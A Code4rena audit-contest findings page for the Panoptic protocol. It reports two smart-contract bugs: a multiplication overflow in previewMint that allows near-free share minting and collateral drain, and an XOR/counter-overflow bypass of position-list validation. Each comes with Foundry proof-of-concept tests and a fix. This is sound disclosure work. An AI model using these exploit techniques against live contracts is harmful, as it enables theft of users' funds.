Platform: Code4rena
Start Date: 01/04/2024
Pot Size: $120,000 USDC
Total HM: 11
Participants: 55
Period: 21 days
Judge: Picodes
Total Solo HM: 6
Id: 354
League: ETH
Rank: 1/55
Findings: 2
Award: $28,226.97
🌟 Selected for report: 1
🚀 Solo Findings: 1
🌟 Selected for report: 0xLogos
27087.7184 USDC - $27,087.72
https://github.com/code-423n4/2024-04-panoptic/blob/833312ebd600665b577fbd9c03ffa0daf250ed24/contracts/CollateralTracker.sol#L478 https://github.com/code-423n4/2024-04-panoptic/blob/833312ebd600665b577fbd9c03ffa0daf250ed24/contracts/CollateralTracker.sol#L461-L467
Malicious actors can mint huge amounts of shares for free and then withdraw all collateral.
In the mint
function user-controlled shares
parameter goes right away to the previewMint
function which then calculates required assets in unchecked block. If the shares
value is high enough, overflow in shares * DECIMALS
will occur, and assets
will be very low.
function previewMint(uint shares) public view returns (uint assets) { unchecked { assets = Math.mulDivRoundingUp( shares * DECIMALS, totalAssets(), totalSupply * (DECIMALS - COMMISSION_FEE) ); } } function mint(uint shares, address receiver) external returns (uint assets) { assets = previewMint(shares); if (assets > type(uint104).max) revert Errors.DepositTooLarge(); ... }
Insert the following snippet to ColalteralTracker.t.sol for coded PoC:
function test_poc1(uint256 x) public { _initWorld(x); _grantTokens(Bob); vm.startPrank(Bob); uint shares = type(uint).max / 10000 + 1; IERC20Partial(token0).approve(address(collateralToken0), type(uint256).max); uint256 returnedAssets0 = collateralToken0.mint(shares, Bob); assertEq(shares, collateralToken0.balanceOf(Bob)); assertEq(returnedAssets0, 1); }
Manual review
Remove unchecked block
function maxMint(address) external view returns (uint maxShares) { return (convertToShares(type(uint104).max) * DECIMALS) / (DECIMALS + COMMISSION_FEE); }
Under/Overflow
#0 - c4-judge
2024-04-24T17:56:31Z
Picodes marked the issue as primary issue
#1 - c4-judge
2024-05-06T14:54:00Z
Picodes marked the issue as satisfactory
#2 - c4-judge
2024-05-06T16:03:03Z
Picodes marked the issue as selected for report
1139.2469 USDC - $1,139.25
https://github.com/code-423n4/2024-04-panoptic/blob/833312ebd600665b577fbd9c03ffa0daf250ed24/contracts/libraries/PanopticMath.sol#L100-L109 https://github.com/code-423n4/2024-04-panoptic/blob/833312ebd600665b577fbd9c03ffa0daf250ed24/contracts/PanopticPool.sol#L1367
A malicious actor can forge the currently held positions list and trick the system into believing that, for example, their overall position is solvent.
The user's currently held positions list is not stored on-chain, instead, it is provided with each mintOptions
/burnOptions
call, hashed, and then compared to the stored hash (fingerprint) in _validatePositionList
.
function _validatePositionList( address account, TokenId[] calldata positionIdList, uint256 offset ) internal view { uint256 pLength; uint256 currentHash = s_positionsHash[account]; unchecked { pLength = positionIdList.length - offset; } uint256 fingerprintIncomingList; for (uint256 i = 0; i < pLength; ) { fingerprintIncomingList = PanopticMath.updatePositionsHash( fingerprintIncomingList, positionIdList[i], ADD ); unchecked { ++i; } } if (fingerprintIncomingList != currentHash) revert Errors.InputListFail(); }
updatePositionsHash
XORes keccak of each token in right 248 bits and stores positions count in left 8 bit.
function updatePositionsHash( uint256 existingHash, TokenId tokenId, bool addFlag ) internal pure returns (uint256) { unchecked { uint248 updatedHash = uint248(existingHash) ^ (uint248(uint256(keccak256(abi.encode(tokenId))))); return addFlag ? uint256(updatedHash) + (((existingHash >> 248) + 1) << 248) : uint256(updatedHash) + (((existingHash >> 248) - 1) << 248); } }
This validation can be bypassed when addFlag=true by overflowing the counter and hiding tokens by doubling (x ^ x = 0, x ^ 0 = x). For example, assuming counter has only 2 bits:
[x, x, x, x, a] => x ^ x ^ x ^ x ^ a | 1 + 1 + 1 + 1 + 1 => a | 1
.
For coded PoC make the following changes in, for example, test_Success_mintOptions_OTMShortCall
:
- TokenId[] memory posIdList = new TokenId[](1); - posIdList[0] = tokenId; + TokenId[] memory posIdList = new TokenId[](257); + for (uint i; i < 257; i++) posIdList[i] = tokenId;
Validating position list will pass meaning we successfully "hide" 256 tokens from the validator, but they still counted in _validateSolvency
and other functions.
Manual review
Enforce MAX_POSITIONS
limit in _validatePositionList
by adding require: require(positionIdList.length <= MAX_POSITIONS)
Invalid Validation
#0 - c4-judge
2024-04-25T08:41:19Z
Picodes marked the issue as duplicate of #498
#1 - c4-judge
2024-05-06T16:06:03Z
Picodes marked the issue as satisfactory
#2 - c4-judge
2024-05-09T19:28:13Z
Picodes changed the severity to 2 (Med Risk)